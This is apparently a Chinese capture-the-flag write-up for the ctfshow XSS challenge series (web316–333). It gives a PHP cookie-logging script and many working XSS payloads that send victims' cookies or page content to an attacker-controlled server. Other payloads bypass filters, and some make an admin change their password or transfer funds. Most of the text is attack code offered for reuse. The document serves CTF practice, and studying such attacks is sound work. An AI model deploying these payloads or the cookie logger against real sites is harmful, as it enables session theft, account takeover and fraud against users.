ctfshow_xss_wp
Charmersix

跨站脚本攻击在这一套题目中体现的淋漓尽致。

web316

跨站脚本攻击,现时跨站,这里我用的自己的服务器,当然也有用各种xss网站的,

都差不多,比如http://xsscom.com/加载的还比较快。

我用的自己服务器,贴上一个这个脚本

1
2
3
4
5
6
<?php
$cookie = $_GET['1'];
$log = fopen("flag.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

我这里建议文件名不要用xss,因为我刚开始用的xss,后边会有题目把xss过滤了。

payload:

<script>window.location.href='http://自己服务器IP/a.php?1='+document.cookie</script>

window.location.href可以理解成是,跳转到href里,具体参考https://www.cnblogs.com/Qian123/p/5345298.html#_label3

document.cookie就是创建一个cookie,这里是把目标cookie窃取下来,具体参考https://www.runoob.com/jsref/prop-doc-cookie.html

web317-319

这里属于是一招鲜吃遍天了,这里过滤的东西都不一样,有img,script,xss

但是payload:

<body onload="document.location.href='http://IP/a.php?1='+document.cookie"></body>

无敌

web320-web326

过滤了空格,但是tab或者/或者/**/都可以用

所以payload:

<body/onload="document.location.href='http://ip/a.php?1='+document.cookie"></body>

web327

开始来到存储型XSS,难度起来了。

这题注意收件人要是admin

然后信的内容还是老样子

<body/**/onload="document.location.href='http://ip/a.php?1='+document.cookie"></body>

web328

这题打开会发现貌似没有传xss payload的地方,但是细心的同学会发现

也就是说,如果我们是admin,说不定就拿到flag了,那咱们有了admin的cookie,是不是就能伪装成admin呢

那么还是怎么传payload的问题,密码为啥不能是payload,注册就拿到cookie了

这题body不能用了,返璞归真,用script

<script>document.location.href='http://ip/a.php?1='+document.cookie;</script>

如果你很不幸x到了自己,出了多个sessionid,那么就选最后一个

然后抓包,改个cookie就OK

web329

在这个例子中,admin的sessionid每次会话都会变,所以没办法使用sessionid进行登录(机器人好像设置的是上去一下就下来),那么思路就是让注入的XSS Payload自动读取本页面的带有ctfshow的字段并发到vps上。
注册一个普通账号并登录,修改一个显示密码的地方为ctfshow{123456},然后尝试直接在console中将这段字段读出来并发送到vps中,使用jQuery的类选择器:

群主就根据这个东西写出来了payloa

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1){window.location.href='http://ip/a.php?1='+value.innerHTML;}});</script>

还是拿这个当作密码,就可以了。

web330

上来先试一梭子上一题的payload,好像并没有成功。

继续看这题多了个修改密码界面,那么只要让管理员修改成我们知道的密码,就能解决了

x到管理员,还是得走我们的密码。先抓个包看看改密码的api

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

这里的由于x的是admin,所以用了admin的本地IP127.0.0.1

注册,发现并没有什么用,试试用户名,你看那用户名,很长一筐,其实之前一直没用用户名,是因为用户名只能注册一次,但是密码可以重复

或者保险起见,直接用户名密码全是xss

好了,admin#123 登陆成功,为了防止自动跳转,这里抓一下

web331

上来,先试一试上一题的payload,好吧,并没有那么幸运

这里注意到url,发现并不是get了,那么猜测是post,抓包一看,果然是

仿照,post的源码,写个payload就好了

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

payload来喽,解决

web332

先试一下上一题的payload,就是说,只要拿到admin了,什么都好说,然后失败了,转换思路。

这题很简单,要买flag嘛,但是钱不够,还有个转账口子

尝试转负的,然后就成功了

购买flag,成功

这题也可以给自己转账,然后会发现,给自己转账是不要钱的,然后就可以一直转,只要金额少于自己的余额就行。

这里就不再演示了。

然后这好像跟xss没什么关系,现在x不到admin的密码了,我们试一试能不能直接x一下admin转账,我们抓包看一下转账的传参

改一下上一题的payload

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script>

搞定啊

web333

首先试一试上一题,给自己转账是可行的,x到admin转账也是可行的。

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script>

总结

js很重要,可以通过js搞整个网页

 Comments